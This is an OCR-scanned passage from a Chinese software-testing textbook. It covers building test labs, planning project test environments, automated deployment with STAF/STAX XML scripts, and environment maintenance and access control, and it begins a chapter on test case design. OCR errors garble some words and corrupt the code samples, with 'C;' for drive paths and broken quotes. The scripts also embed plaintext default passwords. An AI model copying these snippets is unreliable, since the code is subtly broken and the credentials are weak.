室 , 首 先 要 理 出 一 个 设备 清单 ,然后 进行 预算 评估 ,接着 采购 设备 、 集 成 安装 。 


i. 


测试 实验 室 配 置 清单 


运用 13. 2 节 的 软 硬 件 知识 有 助 于 给 出 合理 的 配置 清单 ,测试 环境 的 各 要 素 也 就 是 实验 
室 配 置 清单 的 主要 内 容 。 一 个 完整 的 实验 室 配置 清单 不 仅 包括 测试 中 所 需 的 软 硬 件 .工具 、 
数据 等 ,而 且 还 包括 实验 室 所 需 的 其 他 设备 ,如 空调 .去 湿 机 、 温 度 / 湿 度 计 等 。 在 整理 配置 
清单 时 ,主要 考虑 下 列 因素 : 


产品 的 使 用 环境 决定 了 测试 环境 ,要 尽 可 能 地 模拟 真实 的 用 户 使 用 环境 。 

一 方面 要 保证 测试 环境 的 完整 性 和 正确 性 , 另 一 方面 ,可 以 考虑 采用 虚拟 机 等 技术 
来 减少 硬件 的 需求 。 

针对 不 同 的 测试 类 型 ,例如 功能 测试 和 性 能 测试 对 测试 环境 要 求 是 不 一 样 的 ,性 能 
测试 对 设备 有 更 高 的 要 求 , 包 括 设备 型 号 .参数 都 是 一 样 的 。 

可 能 还 要 考虑 产品 运行 的 实际 环境 需求 .用户 使 用 产品 的 一 些 特点 和 有 利于 测试 的 
工具 率 ,确保 配置 一 个 完整 的 清单 。 


中 间 


一 个 标准 的 清单 模板 示例 

(1) 软件 : 被 测 应 用 服务 器 、 客 户 端 和 测试 机 等 所 需 的 操作 系统 、 数 据 库 管理 系统 、 

件 、Web 服务 器 以 及 其 他 应 用 软件 的 名 称 、 版 本 (包括 相关 的 补丁 版 本 ) 。 

。 操作 系统 : 需要 所 有 具有 广泛 代表 性 的 重要 操作 系统 。 

。 应 用 程序 : 测试 人 员 在 测试 平台 上 使 用 大 量 的 应 用 软件 来 做 兼容 性 测试 。 

。 测试 工具 和 实用 工具 : 系统 监控 工具 和 自动 化 测试 工具 等 ,如 Selenium, JMeter, 
IBM Function Tester 等 。 

。 第 三 方 软件 : 软件 开发 过 程 中 ,有 时 会 直接 购买 使 用 第 三 方 的 软件 产品 或 使 用 
许可 ,如 Oracle 10g、IBM Bea WebLogic 等 。 

(2) 硬件 : 所 需要 的 设备 数量 ,以 及 每 台 设 备 的 配置 要 求 。 

。 计算 机 、 服 务 器 : 详细 到 CPU、 内 存 、 硬 盘 . 显 示 器 .显示 卡 、 声 卡 等 具体 配置 。 

。 输入 、 输 出 设备 : 监视 器 打印机、 扫描 仪 等 ,详细 到 具体 型 号 或 性 能 指标 。 

。 数据 备份 .存储 设备 : 外 接 硬盘 .光碟 刻录 机 等 。 

(3) 网 络 设备 : 应 避免 在 公司 的 公共 网 络 上 进行 测试 ,需要 建立 独立 的 测试 网 络 环境 。 

。 路 由 器 ,防火墙 设备 ,包括 是 否 需要 电话 网 关 、 多 媒体 网 关 等 。 

。 交换 机 ,包括 主 交 换 机 、 边 缘 交 换 机 等 。 

。 无 线 接 入 设备 。 

。 ADSL 接 入 设备 .SSL 连接 设备 。 

。 网 卡 、 网 线 等 其 他 附属 网 络 设备 。 

(4) 电源 及 特殊 的 工具 : 电压 保护 器 、 不 间断 电源 、 示 波 顺 、 工 具 箱 等 。 

(5) 其 他 : 办 公用 品 、 耗 材 和 易 损 备 件 , 包 括 打 印 纸 、 白 板 笔 、 胶 带 、 墨 盒 等 。 


2. 集成 和 配置 测试 设备 

在 进行 测试 环境 配置 时 ,选用 合适 的 测试 平台 ,保证 能 支撑 软件 正常 运行 ,以 满足 测试 
的 需要 就 可 以 。 测 试 机 上 只 安装 软件 运行 和 测试 必需 的 软件 ,以 免 不 相关 的 软件 影响 测试 
实施 。 现 在 病毒 猩 镍 ,利用 有 效 的 正版 杀毒 软件 检测 软件 环境 ,保证 测试 环境 中 没有 病毒 。 
有 些 情况 下 ,测试 实验 室 配置 清单 中 所 需 设 备 的 数量 是 非常 巨大 的 。 例 如 视频 游戏 程序 的 
测试 ,的 确 需要 相当 多 的 设备 支持 。 各 种 类 型 的 声卡 、 视 频 卡 、 控 制 手柄 等 全 部 罗列 在 配置 
清单 中 ,又 似乎 不 太 合适 ,可 能 会 大 大 超出 预算 。 但 如 果 遗 漏 某 些 型 号 ,又 往往 造成 风险 ,可 
能 会 忽视 一 些 实际 用 户 可 能 碰 到 的 错误 。 所 以 ,有 必要 对 测试 配置 清单 进行 评估 ,保留 主要 
的 和 必须 购买 的 配置 ,有 些 配置 可 以 通过 其 他 途径 获得 ,如 从 合作 单位 或 部 门 借用 ,从 生产 
厂家 或 经 销 商 处 借 来 试用 等 。 

经 过 评估 后 ,可 以 提交 申请 ,获得 批准 后 开始 采购 。 采 购 时 首先 按 安 装 的 先后 顺序 分 批 
购买 , 当 一 大 堆 设 备 同 时 运 到 而 又 不 能 及 时 安装 时 ,就 得 另外 出 一 笔 费用 找 临 时 仓库 。 其 
次 , 按 测试 进度 的 需要 分 批 购买 ,保证 主要 测试 设备 的 经 费 , 避 免 因 配置 变化 或 市 场 变化 造 
成 资金 问题 。 最 后 考虑 批量 定货 ,使 一 些小 的 配置 能 以 赠品 的 方式 配置 。 

通常 做 法 是 尽 可 能 由 测试 人 员 自 己 完成 集成 和 配置 测试 设备 ,只 有 测试 人 员 最 清楚 具 
体 的 配置 方法 和 要 求 。 测 试 人 员 无 法 独立 完成 的 ,可 以 由 其 他 专业 人 员 协 助 完成 ,如 网 络 布 
线 等 。 如 果 测 试 中 需要 调整 网 络 结构 ,应 采取 测试 人 员 更 容易 接受 的 方案 。 


13.5 ”如何 建立 项 目的 测试 环境 


建立 测试 实验 室 是 为 整个 测试 团队 服务 的 ,或 者 说 是 为 即将 到 来 的 各 个 项 目 服务 的 。 
而 针对 某 个 具体 项 目 ,测试 环境 的 要 求 会 更 明确 ,无 论 是 对 服务 器 、 支 撑 平台 软件 还 是 对 网 
络 配置 .应 用 软件 等 都 需要 进行 具体 的 规划 和 定义 ,完成 相应 的 配置 ,以 满足 具体 项 目的 测试 
工作 要 求 。 为 了 建立 正确 的 测试 环境 ,要 基于 下 列 文档 和 其 他 要 求 来 完成 测试 环境 的 配置 。 
软件 构架 文档 ,了 解 软件 系统 架构 设计 的 细节 ,包括 服务 器 之 间 数据 通道 等 之 间 的 
关系 。 
部 署 模 型 ,如 本 地 部 署 、 远 程 部 署 、 网 络 共享 部 署 , 热 部 署 等 。 例 如 在 Axis2 中 ,可 采 
用 不 同方 式 部 署 服务 ,如 存储 库 方式 、 编 程 方式 和 传统 Java 对 象 部 署 方式 等 。 
。 测试 自动 化 架构 ,如 何 有 效 地 支持 自动 化 测试 的 实施 。 
测试 数据 的 要 求 , 包 括 数据 量 、 负 载 模 式 等 。 
测试 策略 和 测试 方法 ,会 影响 测试 环境 的 设计 。 

1. 规划 测试 环境 

根据 软件 系统 的 架构 ,获取 并 审查 部 署 模型 和 相关 信息 ,从 而 确定 测试 环境 部 署 的 要 求 
和 特点 ,然后 结合 所 采用 的 测试 方法 和 技术 ,规划 测试 环境 ,包括 测试 环境 的 拓扑 图 。 

2. 设备 清单 

根据 已 规划 的 测试 环境 ,收集 每 个 配置 的 详细 信息 ,尝试 寻找 可 能 的 环境 ,包括 最 低 环 
境 要 求 .最 高 环境 要 求 。 并 考虑 现 有 的 软 硬 件 资源 .测试 周期 和 测试 任务 等 ,例如 ,哪些 设备 


是 可 以 共享 的 .哪些 设备 是 不 能 共享 的 , 列 出 和 优化 设备 清单 ,并 通过 相关 部 门 的 审查 、 批 
准 等 。 
3. 环境 实施 


软 硬 件 资源 到 位 之 后 ,开始 构建 测试 环境 ,有 时 需要 较 长 时 间 的 调试 ,最 终 部 署 正在 开 
发 的 系统 。 经 验证 通过 后 ,说 明 环境 实施 完成 。 一 般 测试 环境 部 署 的 实施 过 程 可 以 简单 归 
纳 为 下 列 6 个 步骤 。 

(1) 服务 器 ,存储 器 的 准备 ,包括 服务 器 的 加 电 测 试 ,存储 设备 的 连接 和 划分 ,通常 通过 
存储 管理 工具 实现 存储 划分 和 配置 。 

(2) 启动 ,通过 系统 管理 工具 引导 操作 系统 ,或 者 先 安装 虚拟 机 系统 VMware ESX 
Server。 

(3) 安装 操作 系统 ,在 测试 环境 中 ,一 般 会 直接 安装 系统 的 镜像 文件 ,而 镜像 文件 是 由 
系统 运行 管理 部 门 制作 ,因为 这 个 部 门 直接 负责 产品 实际 运行 的 环境 。 

(4) 网 络 配置 ,根据 测试 需求 ,一 方面 将 服务 器 配置 到 相应 的 网 络 环境 中 , 另 一 方面 ,还 
要 完成 负载 均衡 器 .防火墙 或 代理 服务 器 等 的 配置 。 

(5) 安装 应 用 系统 ,包括 Web 服务 器 .中 间 件 .数据 库 和 应 用 软件 系统 等 。 

(6) 配置 并 启动 应 用 软件 ,并 进行 不 断 的 调试 ,使 应 用 软件 运行 环境 符合 设计 要 求 。 


13.6 自动 部 署 测试 环境 


在 项 目 进行 过 程 中 ,虽然 支撑 应 用 系统 的 软件 平台 不 需要 蔡 换 , 但 应 用 软件 包 需 要 经 常 
更 新 ,多 数 情 况 下 是 每 天 更 新 1 次 。 如 果 是 手工 更 新 ,不 仅 更 新 过 程 比 较 慢 , 容 易 出 错 。 而 
且 当 部 署 新 版 本 时 ,测试 人 员 不 得 不 等 待 而 不 能 进行 测试 工作 ,这 会 严重 影响 测试 的 效率 。 
所 以 ,应 该 考虑 进行 自动 化 部 署 , 而 且 可 以 在 晚上 进行 ,在 员工 上 班 之 前 完成 。 这 样 ,测试 人 
员 一 上 班 ,就 能 执行 测试 任务 ,提高 测试 效率 。 

自动 化 部 署 ,也 是 通过 脚本 实现 ,不 同 的 支撑 平台 ,采用 的 方式 有 一 定 的 区 别 。 但 在 
开发 自动 部 署 脚 本 的 时 候 ,需要 建立 标准 化 的 各 种 环境 部 署 顺序 。 即 使 环境 会 有 所 变 
化 ,设法 通过 一 些 环境 参数 ,或 在 脚本 中 增加 一 些 判 断 条 件 来 实现 。 最 理想 的 部 署 方式 
是 做 到 一 键 式 自动 部 署 , 也 就 可 以 通过 后 台 定时 .事件 触发 等 方式 启动 自动 化 部 署 脚本 
的 执行 。 自 动 化 部 署 还 需要 考虑 当前 版 本 (build version) 部 署 失败 时 ,能 够 恢复 到 上 一 个 
版 本 的 状态 。 因 为 希望 部 署 是 完全 自动 化 执行 ,所 以 部 署 过 程 一 定 要 稳定 ,自动 化 部 署 
的 脚本 具有 很 好 的 容错 性 ,充分 考虑 到 各 种 意外 情况 ,回避 各 种 问题 的 出 现 , 保 证 自动 部 
署 的 成 功 。 

IBM 定义 了 自动 化 部 署 框架 ,如 图 13-5 所 示 ,整个 部 署 过 程 基于 工作 流 来 实现 ,通过 调 
用 自动 化 的 脚本 来 完成 具体 的 操作 。 工 作 流 引擎 和 数据 模型 是 这 个 框架 的 核心 : 

。 通 过 将 具体 的 软 硬 件 其 至 逻辑 概念 定义 在 数据 模型 中 ,管理 工具 可 以 标识 并 在 工作 

流 中 调度 这 些 组 件 资产 ,实现 各 类 管理 功能 。 
。 工作 流 引擎 是 调用 和 触发 工作 流 , 自 动 将 不 同 种 类 的 脚本 流程 整合 至 一 个 集中 、 强 
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图 13-5 测试 环境 自动 化 部 署 框 架 示意 图 
健 、 可 重复 使 用 的 工作 流 数 据 库 中 。 


IBM Tivoli Provisioning Manager 则 是 基于 上 述 框 架 , 提 供 了 完整 的 解决 方案 ,可 自动 
完成 原来 需要 手工 完成 的 服务 器 .操作 系统 .中 间 件 .应 用 程序 .存储 器 和 网 络 设备 的 安装 和 
配置 任务 。 

对 操作 系统 的 自动 化 安装 ,需要 一 种 简便 、 有 效 的 方式 ,减少 停机 时 间 ,支持 多 台 服 务 器 
并 发 操作 。 实 际 上 ,不 同 的 操作 系统 都 有 了 相应 的 网 络 远程 安装 的 管理 工具 ,例如 : 

。 Linux: RedHat 开创 了 kickstart 技术 实现 操作 系统 部 署 功能 。 

。 Solaris OS: 基于 网 络 的 安装 机 制 一 一 Sun JumpStart 技术 。 

。IBM AIX: NIM 网 络 安装 管理 工具 。 

。 HP UX; Ignite-UX 管理 工具 。 

而 对 应 用 系统 ,都 需要 测试 人 员 自 己 来 开发 相应 的 部 署 脚本 ,例如 基于 Linux 系统 
的 ,可 以 采用 shell 脚 本 直接 来 实现 。 如 果 为 了 支持 分 布 式 、 跨 平台 的 环境 部 署 ,需要 借 
助 一 些 自动 化 测试 框架 来 实现 。 例 如 ,通过 STAF 和 STAX 提供 的 服务 调用 和 工作 流 
等 机 制 ,并 和 CVS, CruiseControl, Ant 等 集成 起 来 ,形成 一 个 完整 的 自动 化 部 署 解 决 
方案 。 

(1) STAF (Software Test Automation Framework, http://staf. sourceforge. net/ 
index. php) 围 绕组 件 重用 的 理念 ,通过 服务 调用 (如 远程 处 理 资源 管理 ,文件 系统 ,监控 、 日 
志 , 压 缩 、Ping、 变 量 等 ) 来 完成 自动 化 架构 的 构造 。STAF 作为 自动 化 测试 框架 ,提供 一 种 
可 插 拔 的 机 制 , 支 持 多 平台 与 多 语言 的 分 布 式 结构 。 

(2) STAX(STAf eXecution engine,http://staf. sourceforge. net/getstax. php) 是 基于 
STAF 的 执行 引擎 , 它 采 用 XML 格式 描述 。 在 XML 文件 中 可 定义 测试 工作 流 ,可 以 实现 
并 行 执行 . 幅 套 测试 用 例 、 控 制 运行 时 间 等 ,STAX 支持 Java 和 Python 模块 。 

例如 ,从 CVS 检 出 代码 ,通过 控制 器 送 到 编译 机 器 上 构造 软件 包 , 同 时 可 以 从 FTP 服 
务 器 获得 自动 部 署 配置 的 脚本 分 发 到 测试 机 上 ,然后 获得 已 编译 好 的 软件 包 ,完成 部 署 并 进 
行 基本 的 验证 ,如 图 13-6 所 示 。 
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BI 13-6 STAF 和 STAX 构成 的 自动 部 署 体系 


STAX 脚本 示例 
【示例 一 】 FIP 命令 提供 参数 -s 来 指定 一 个 FTP 脚本 文件 (这 里 以 ftpSample. conf 
为 例 ) , 它 描述 待 执行 的 FTP 命令 。 然 后 ,通过 STAX 调用 FTP 命令 实现 从 FTP 服务 
器 自动 下 载 所 需要 的 文件 ,如 部 署 脚本 文件 (如 deploy. bat 或 runtest. sh). 


<process> 
< location>'local'</location> 
< command >'ftp'</command > 
<parms>'— s; ftpSample. conf'</parms > 
<workdir>'C; /STAF'</workdir > 
</process> 


【示例 二 】 将 更 新 包 分 发 到 部 署 服务 器 (deployServer) 和 测试 服务 器 (testServer) 上 。 


<script> serverList = ['deployServer', 'testServer'] </script> 
< iterate var = "server" in="serverList"> 
< testcase name = "'buildCopy'> 
< if expr = "server != 'deployServer'"> 
< stafcmd > 
< location >'buildserver'</location> 
<service>'fs'</service > 
< request >'copy DIRECTORY /root/build/result TODIRECTORY /root/build/result 
TOMACHINE % s RECURSE KEEPEMPTYDIRECTORIES' % server </request > 
</stafcmd > 
<else> 
< stafcmd > 
< location >'buildserver'</location> 
<service>'fs'</service > 
< request >'copy DIRECTORY /root/build/result TODIRECTORY C; /build/result 
TOMACHINE % s RECURSE KEEPEMPTYDIRECTORIES' % server </ request > 
</stafcmd> 
</else> 


</if> 
</testcase > 
</iterate > 


【示例 三 】 4414 Windows 和 Linux 系统 上 完成 应 用 系统 的 部 署 。Windows 中 
使 用 重 定向 输出 日 志 , 即 deploy. log, mÆ Linux 中 使 用 stdout 来 重 定向 输出 日 志 。 


< sequence> 
< stafcmd> 
< location>'deployServer'</location> 
< service>'process'</service> 
< request >'start command "C; /build/deploy. bat > deploy. log" username "Administrator" 
password "password" workdir "C; /build" wait '</request > 
</stafcmd > 
< stafcmd> 
< location>'testServer'</location> 
< service >'process‘</service> 
< request >'start command "/root/build/runtest. sh" username "root" password "password" 
workdir "/root/build” wait stdout /root/build/runtest. log'</request > 
</stafcmd > 
</sequence > 


13.7 测试 环境 的 维护 和 管理 


测试 环境 的 维护 和 管理 ,不 仅 包括 硬件 设备 的 保养 维修 和 软件 版 本 的 及 时 升级 ,更 重要 
的 是 维护 测试 环境 的 正确 性 ,定期 检查 软件 和 网 络 的 配置 ,做 好 记录 和 跟踪 ,确保 测试 环境 
始终 符合 测试 的 实际 要 求 。 为 了 做 好 测试 环境 的 维护 和 管理 ,首先 要 建立 测试 环境 的 管理 
流程 和 规章 制度 ,严格 的 管理 流程 能 够 保证 和 改善 测试 环境 的 正确 性 、 稳 定性 。 图 13-7 描 
述 了 一 个 通用 的 实验 室 设备 管理 流程 ,包括 权限 设置 ,建立 设备 采购 /变更 控制 等 方面 的 流 
程 。 例 如 某 家 测试 公司 , 它 的 大 多 数 客户 都 有 自己 的 独立 实验 室 , 他 们 要 求 所 有 人 都 必须 用 
智能 卡 才能 进入 实验 室 。 除 了 每 个 测试 人 员 都 需要 配 有 一 张 智 能 卡 ,并 通过 智能 卡 系统 记 
录 持 卡 人 进入 测试 实验 室 的 情况 。 只 有 那些 真正 为 客户 项 目 工作 的 员工 才能 持 有 智能 卡 ， 
进入 客户 实验 室 。 

为 了 更 好 地 做 好 测试 环境 的 维护 和 管理 ,通常 还 会 设置 专门 的 实验 室 管理 员 ,明确 其 责 
任 , 并 建立 好 相应 的 文档 及 其 模板 ,为 关键 的 硬件 设备 和 软件 环境 建立 备份 。 

1. 测试 环境 管理 员 的 职责 

。 建立 和 完善 测试 环境 管理 的 相关 制度 和 流程 ; 
基础 测试 环境 的 搭建 ,包括 操作 系统 ,数据 库 、 中 间 件 、Web 服务 器 等 的 安装 和 配置 ， 
以 及 相关 文档 的 编写 、 存 档 ; 
相关 资源 (如 路 由 器 、 数 据 库 、Web 服务 器 等 ) 访 问 权限 (包括 用 户 名 口令 等 ) 的 设 
定 .定期 更 新 和 审查 ; 
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图 13-7 实验 室 设 备 管理 流程 示意 图 


记录 组 成 测试 环境 的 各 类 设备 名 称 配置.IP 地 址 .端口 配置 .用途 以 及 当前 状态 ( 占 

用 、 空 闲 、 报 废 等 ); 

测试 环境 各 项 变更 的 执行 及 记录 ; 

。 测试 环境 的 备份 及 恢复 ; 

。 协助 项 目 组 完成 被 测 应 用 系统 的 部 署 ; 

。 协助 IT 部 门 完成 测试 环境 的 各 类 设备 采购 、 入 库 等 ; 

。 协 助 测试 经 理 做 好 资源 的 分 配 、 调 度 等 工作 。 

2. 测试 环境 管理 所 需 的 文档 

。 软 硬件 资产 清单 ,包括 厂家 、 品 牌 、 型 号 ,购买 日 期 入 库 日 期 \ 所 有 者 \ 数 量 、 关 键 特 

性 指标 、 变 更 记录 等 ; 

关键 设备 (如 路 由 器 、 防 火 墙 .负载 平衡 设备 等 ) 和 系统 (操作 系统 、 数 据 库 管理 系统 、 

中 间 件 等 ) 的 安装 配置 手册 ; 

环境 资源 访问 权限 列表 ,及 其 变更 记录 等 ; 

。 测试 环境 的 备份 和 恢复 过 程 文档 ,包括 历史 发 生 的 记录 (如 备份 时 间 、 备 份 人 、 原 因 、 
备份 文件 名 、 备 份 文件 来 源 和 获取 方式 等 ) 。 

3. 测试 环境 访问 权限 的 管理 

。 权限 由 测试 环境 管理 员 统 一 管理 。 为 了 安全 起 见 , 应 在 测试 经 理 或 相应 的 管理 人 员 

那里 有 一 个 备份 ; 

为 访问 测试 环境 的 每 个 人 设置 单独 的 用 户 名 和 口令 ,口令 可 以 强制 每 一 个 月 或 一 个 


季度 改变 一 次 ; 

将 测试 环境 访问 人 员 分 类 ,不 同类 别 的 人 有 不 同 的 访问 权限 。 例 如 ,开发 人 员 只 有 
“ 读 ” 的 权限 ,没有 “修改 、 删 除 ”等 权限 ; 

除 测试 环境 管理 员外 ,其 他 测试 组 成 员 不 授予 删除 权限 ,更 不 要 将 root 或 
Administrator 的 权限 赋予 一 般 的 测试 人 员 ; 

。 用 户 及 权限 的 各 项 维护 、 变 更 需要 记录 到 相应 的 “用 户 权限 管理 文档 ”中 。 

4, 测试 环境 的 变更 管理 

对 测试 环境 的 变更 应 当 形 成 一 个 标准 的 流程 ,并 保证 每 次 变更 都 是 可 追溯 的 和 可 
控 的 。 

。 测试 环境 的 变更 一 般 由 测试 组 长 提出 书面 申请 (如 电子 邮件 ), 由 测试 环境 管理 员 负 

责 执行 ,或 授予 测试 组 长 临时 权限 ,自行 处 理 ; 

。 在 测试 环境 变更 之 前 ,应 该 确定 一 个 明确 的 方法 ,能 够 返回 到 变更 之 前 的 状态 ; 
测试 环境 的 任何 变更 均 应 记 入 相应 的 文档 中 ,包括 变更 申请 邮件 .脚本 等 原始 文档 ， 
作为 配置 项 进行 管理 。 

5. 测试 环境 的 备份 和 恢复 

对 于 测试 人 员 来 说 ,测试 环境 必须 是 可 恢复 的 ,否则 将 导致 原 有 的 测试 用 例 无 法 执行 ， 
或 者 发 现 的 缺陷 无 法 重 现 。 因 此 ,应 当 在 测试 环境 (特别 是 数据 库 环境 ) 发 生 重大 变动 时 进 
行 完 整 的 备份 ,例如 使 用 Ghost 对 硬盘 或 某 个 分 区 进行 镜像 备份 ,以 便 在 需要 时 将 系统 重 
新 恢复 到 安全 可 用 的 状态 。 

另外 ,每 次 发 布 新 的 被 测 应 用 版 本 时 ,应 当做 好 当前 版 本 的 数据 库 备份 ,为 将 来 做 版 本 
兼容 性 测试 (版 本 升级 测试 ) 时 做 好 准备 。 例 如 ,对 于 一 些 提供 软件 服务 的 应 用 系统 , 当 其 版 
本 升级 到 一 个 新 版 本 时 ,要 验证 在 原来 版 本 中 产生 的 数据 在 新 版 本 时 依然 有 效 ,而 新 版 本 的 
数据 库 结构 已 发 生 了 一 些 变化 ,这 些 数据 不 能 在 新 版 本 中 产生 ,否则 数据 是 不 真实 的 。 在 进 
行 兼 容 性 测试 时 ,最 好 用 已 备份 的 数据 库 来 恢复 到 原来 的 数据 库 后 ,再 进行 版 本 升级 ,然后 
进行 测试 。 这 种 兼容 性 测试 可 能 会 进行 多 次 ,而 且 可 能 会 在 下 一 个 版 本 兼容 性 测试 中 还 要 
用 到 。 这 时 ,数据 库 的 备份 不 仅 保证 了 数据 的 真实 性 、 完 整 性 ,还 大 大 减少 了 重新 准备 数据 
的 时 间 ,提高 了 测试 的 效率 。 


小 结 


本 章 从 测试 环境 对 测试 的 影响 论述 了 测试 环境 的 重要 性 ,介绍 了 测试 环境 的 各 项 要 素 ， 
包括 硬件 、 网 络 环境 、 软 件数 据 准备 等 ,特别 介绍 了 虚拟 机 的 应 用 及 其 相关 工具 。 在 此 基础 
上 ,介绍 了 如 何 建立 规范 的 测试 实验 室 。 

本 章 还 针对 测试 项 目的 实际 需求 ,介绍 了 如 何 建立 项 目的 测试 环境 ,详细 描述 了 测试 环 
境 搭建 的 过 程 。 而 更 值得 关注 的 内 容 是 如 何 实施 测试 环境 的 自动 部 署 ,以 及 如 何 做 好 测试 
环境 的 维护 和 管理 。 


1. 什么 是 测试 环境 ? 为 什么 测试 环境 是 测试 的 基础 ? 

2. 测试 环境 中 有 哪些 基本 要 素 ? 在 建立 测试 实验 室 时 应 注意 哪些 方面 ? 

3. 通过 STAX 脚本 ,如 何 实现 从 CVS 上 检 出 相关 的 源 文件 ,并 将 源码 复制 到 编译 服务 
器 上 ? 

4. 在 测试 环境 和 维护 中 ,什么 内 容 或 措施 是 至 关 重 要 的 ? 

5. 试 写 一 份 实验 室 管理 制度 。 


| 
CHAPTER 14 


第 14 章 


设计 和 维护 测试 用 例 


测试 用 例 是 为 了 实现 测试 有 效 性 而 采取 的 一 种 最 基本 的 手段 。 
好 的 测试 用 例 可 以 帮助 测试 人 员 更 快 地 发 现 缺 陷 ,会 在 测试 过 程 中 不 
断 被 重复 使 用 。 同 时 ,在 测试 过 程 中 可 以 通过 对 测试 用 例 的 组 织 和 跟 
踪 来 完成 对 测试 工作 的 量化 和 管理 。 本 章 将 从 软件 测试 实践 中 一 些 
常用 的 测试 用 例 设 计 思想 .方法 和 组 织 和 人 手 , 来 阐述 如 何 设计 测试 
用 例 。 

通过 本 章 的 学 习 , 可 以 了 解 和 掌握 以 下 内 容 : 

。 为 什么 要 使 用 测试 用 例 ? 

。 测试 用 例 由 哪些 基本 元 素 组 成 ? 

。 测 试用 例 编写 和 设计 时 需要 遵循 哪些 基本 的 原则 ? 

。 白 盒 测试 用 例 和 黑 盒 测 试用 例 设 计 的 基本 方法 。 

© 测试 用 例 设计 、 组 织 和 测试 过 程 组 织 之 间 的 关系 和 实践 过 程 。 

。 跟踪 和 维护 测试 用 例 。 


14.1 测试 用 例 构成 及 其 设计 


测试 用 例 是 有 效 地 发 现 软件 缺陷 的 最 小 测试 执行 单元 ,是 为 了 特 
定 目的 (如 考察 特定 程序 路 径 或 验证 是 否 符 合 特定 的 需求 ) 而 设计 的 
测试 数据 及 与 之 相关 的 测试 规程 的 一 个 特定 的 集合 。 测 试用 例 在 测 
试 中 具有 重要 的 作用 ,测试 用 例 拥有 特定 的 书写 标准 ,在 设计 测试 用 
例 时 需要 考虑 一 系列 的 因素 ,并 遵循 一 些 基 本 的 原则 。 

测试 用 例 设 计 的 方法 很 多 ,普遍 会 采用 黑 盒 测试 方法 和 白 盒 测试 
方法 。 这 些 基本 方法 已 在 第 3 章 做 了 详细 讨论 ,其 中 黑 盒 测 试 方法 包 
括 等 价 类 划分 法 .边界 值 分 析 方法 .因果 图 ,决策 表 、 功 能 图 法 、 正 交 试 
验 法 等 ,而 白 盒 测 试 方法 包括 语句 覆盖 条件 覆 盖 、 分 支 覆 盖 、 条 件 -分 
支 组 合 方法 、 基 本 路 径 覆盖 等 。 测 试用 例 设计 方法 还 可 以 采用 数据 流 
分 析 、 控 制 流 分 析 、 业 务 逻 辑 时 序 分 析 、 基 于 程序 错误 的 变异 、 基 于 代 
数 运算 符号 和 形式 逻辑 等 方法 来 完成 。 


14.1.1 测试 用 例 的 重要 性 


在 前 面 的 章节 中 ,已 经 多 次 提 到 在 测试 过 程 中 需要 通过 执行 测试 用 例 来 发 现 缺陷 。 为 
什么 我 们 需要 测试 用 例 呢 ? 在 测试 过 程 中 使 用 测试 用 例 具 有 以 下 几 个 方面 的 作用 : 

(1) 有 效 性 。 测 试用 例 是 测试 人 员 测 试 过 程 中 的 重要 参考 依据 。 我 们 已 经 知道 ,测试 
是 不 可 能 进行 穷 举 测试 的 ,因此 ,设计 良好 的 测试 用 例 将 大 大 节约 时 间 ,提高 测试 效率 。 

(2) 可 复 用 性 。 良 好 的 测试 用 例 将 会 具有 重复 使 用 的 功能 ,使 得 测试 过 程 事半功倍 。 
不 同 的 测试 人 员 根 据 相 同 的 测试 用 例 所 得 到 的 输出 结果 是 一 致 的 ,对 于 准确 的 测试 用 例 的 
计划 ,执行 和 跟踪 是 测试 的 可 复 用 性 的 保证 。 

G) 易 组 织 性 。 即 使 是 很 小 的 项 目 , 也 可 能 会 有 几 千 其 至 更 多 的 测试 用 例 , 测 试用 例 可 
能 在 数 月 甚至 几 年 的 测试 过 程 中 被 创建 和 使 用 ,正确 的 测试 计划 将 会 很 好 地 组 织 这 些 测 试 
用 例 并 提供 给 测试 人 员 或 者 其 他 项 目 作 为 参考 和 借鉴 。 

(4) 可 评估 性 。 从 测试 的 项 目 管理 角度 来 说 ,测试 用 例 的 通过 率 是 检验 代码 质量 的 保 
证 。 测 试 人 员 经 常 说 代码 的 质量 不 高 或 者 代码 的 质量 很 好 ,量化 的 标准 应 该 是 测试 用 例 的 
通过 率 以 及 软件 缺陷 (Bug) 的 数目 。 

G) 可 管理 性 。 从 测试 的 人 员 管 理 的 角度 来 说 ,测试 用 例 也 可 以 作为 检验 测试 进度 的 
工具 之 一 ,工作 量 以 及 跟踪 /管理 测试 人 员 的 工作 效率 的 因素 ,比较 适用 于 对 于 新 的 测试 人 
员 的 检验 ,从 而 更 加 合理 做 出 测试 安排 和 计划 。 

因此 ,测试 用 例 将 会 使 得 测试 的 成 本 降低 ,并 具有 可 重复 使 用 功能 ,也 是 作为 检测 测试 
效果 的 重要 因素 ,设计 良好 的 测试 用 例 是 测试 的 最 关键 工作 之 一 。 

测试 用 例 不 是 每 个 人 都 可 以 编写 的 , 它 需 要 撰写 者 对 产品 的 设计 ,功能 规格 说 明 书 、 用 
户 场景 以 及 程序 /模块 的 结构 都 有 比较 透彻 的 了 解 。 测 试 人 员 刚 开始 时 ,只 能 执行 别人 写 好 
的 测试 用 例 , 随 着 测试 人 员 的 经 验 积累 和 技术 的 提高 ,掌握 测试 用 例 的 设计 方法 和 所 需 的 知 
识 , 这 时 测试 人 员 就 能 够 独立 编写 测试 用 例 了 ,当然 ,可 以 请 资深 入 员 帮 助 审查 ,以 控制 测试 
用 例 的 质量 。 


14.1.2 测试 用 例 设 计 书 写 标准 


在 编写 测试 用 例 过 程 中 ,需要 遵守 基本 的 测试 用 例 编写 标准 ,并 参考 一 些 测试 用 例 设计 
的 指南 。 在 ANSI/IEEE 829-1983 标准 中 , 列 出 了 和 测试 设计 相关 的 测试 用 例 编写 规范 和 
模板 。 标 准 模板 中 主要 元 素 如 下 : 

。 标识 符 (Identification) : 每 个 测试 用 例 应 该 有 一 个 唯一 的 标识 符 , 它 将 成 为 所 有 和 
测试 用 例 相 关 的 文档 /表格 引用 和 参考 的 基本 元 素 , 这 些 文档 /表格 包括 缺陷 报告 、 
测试 任务 .测试 报告 等 。 

。 测试 项 (Test Items): 测试 用 例 应 该 准确 地 描述 所 需要 测试 的 项 及 其 特征 ,测试 项 
应 该 比 测试 设计 说 明 中 所 列 出 的 特性 描述 更 加 具体 ,例如 , Windows 计算 器 应 用 程 
序 测试 中 ,测试 对 象 是 整个 应 用 程序 的 用 户 界面 ,其 测试 项 将 包括 该 应 用 程序 的 各 
个 界面 元 素 的 操作 ,例如 窗口 缩放 、 界 面 布局 菜单 等 。 

。 测试 环境 要 求 (Test Environment): 用 来 表征 执行 该 测试 用 例 需 要 的 测试 环境 ,一 
